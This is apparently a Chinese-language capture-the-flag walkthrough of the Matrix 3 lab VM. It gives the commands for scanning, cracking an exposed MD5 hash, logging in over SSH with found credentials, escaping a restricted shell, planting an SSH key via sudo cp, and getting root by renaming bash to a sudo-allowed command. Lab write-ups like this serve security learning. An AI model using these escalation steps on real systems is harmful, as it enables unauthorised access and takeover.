环境准备
Kali-Linux(IP:192.168.232.129)
Matrix 3 虚拟机
NAT 网络连接
信息收集
主机发现
nmap -sP 192.168.232.0/24
端口扫描
nmap -A -v -sS -sV -p- -T4 192.168.232.141
得到靶机开放 80(http),6464(ssh),7331(caldav:搭建私人通讯录,日历同步服务)
目录扫描
80 端口
dirb http://192.168.232.141
发现一个 assets(有价值的人或事) 目录
访问assets目录试试
这里猜想matrix是一个目录访问试试
直接在80端口,访问Matrix目录
,发现可以打开,并发现很多目录
在Matrix/n/e/o/6/4/
目录下发现一个secret.gz
文件,应该是一个提示
将secret.gz
下载到本地,无法解压,再查看文件的类型是一个文本文件,查看文本内容发现登录用户和加密后的密码
wget http://192.168.232.141/Matrix/n/e/o/6/4/secret.gz
file secret.gz
cat secret.gz
admin:76a2173be6393254e72ffa4d6df1030a
密文采用md5加密,解密后密码为:passwd
76a2173be6393254e72ffa4d6df1030a
passwd
使用admin/passwd
登录7331
端口页面
http://192.168.232.141:7331/
使用kali下的dirb
工具爆破目录及文件,发现assets、data
目录
dirb http://192.168.232.141:7331/ -u admin:passwd -w
在data
目录下发现data
文件
http://192.168.232.141:7331/data/
下载data文件到本地
wget http://192.168.232.141:7331/data/data --user=admin --password=passwd
查看data文件的文件类型,是一个Windows
下的文件,但是在这里遇见了问题,没有找出data文件中隐藏的内容
file data
网上百度后,有大佬使用IDA Pro反编译data文件找到了guest用户及密码,我本人不懂汇编也不太会反编译,所以就直接拿大佬找到的用户名和密码过来用了
参考链接
使用ssh
可以登录guest
用户,但只能使用部分命令
guest/7R1n17yN30
ssh guest@192.168.232.141 -p 6464
提权
使用vi命令调用/bin/sh
调用/bin/sh后添加环境变量,并调用/usr/bin/bash
export PATH=:/bin:/sbin:/usr/bin:/usr/sbin
/usr/bin/bash
使用sudo -l
查看可以使用guest用户使用的sudo命令,发现可以以trinity用户无密码使用/bin/cp
命令
使用guest用户生成一个ssh密钥,保存到/home/guest/.ssh
目录下
ssh-keygen
使用chmod
命令为id_rsa.pub
添加可执行权限,可以让trinity用户使用,使用trinity用户将生成的id_rsa.pub复制到trinity家目录下
chmod 777 .ssh
chmod 777 .ssh/id_rsa.pub
ls -al .ssh/
sudo -u trinity /bin/cp .ssh/id_rsa.pub /home/trinity/.ssh/authorized_keys
使用ssh
连接trinity
用户,成功登录
ssh trinity@127.0.0.1 -i .ssh/id_rsa -p 6464
sudo -l
登录trinity用户发现可以以root用户权限无密码使用oracle
命令,直接将/usr/bin/bash
复制到trinity家目录
下并改名为oracle
cp /usr/bin/bash oracle
chmod +x oracle
ls -al
调用oracle,成功拥有root权限,在root目录下找到flag.txt文件
sudo ./oracle
cd /root/
cat flag.txt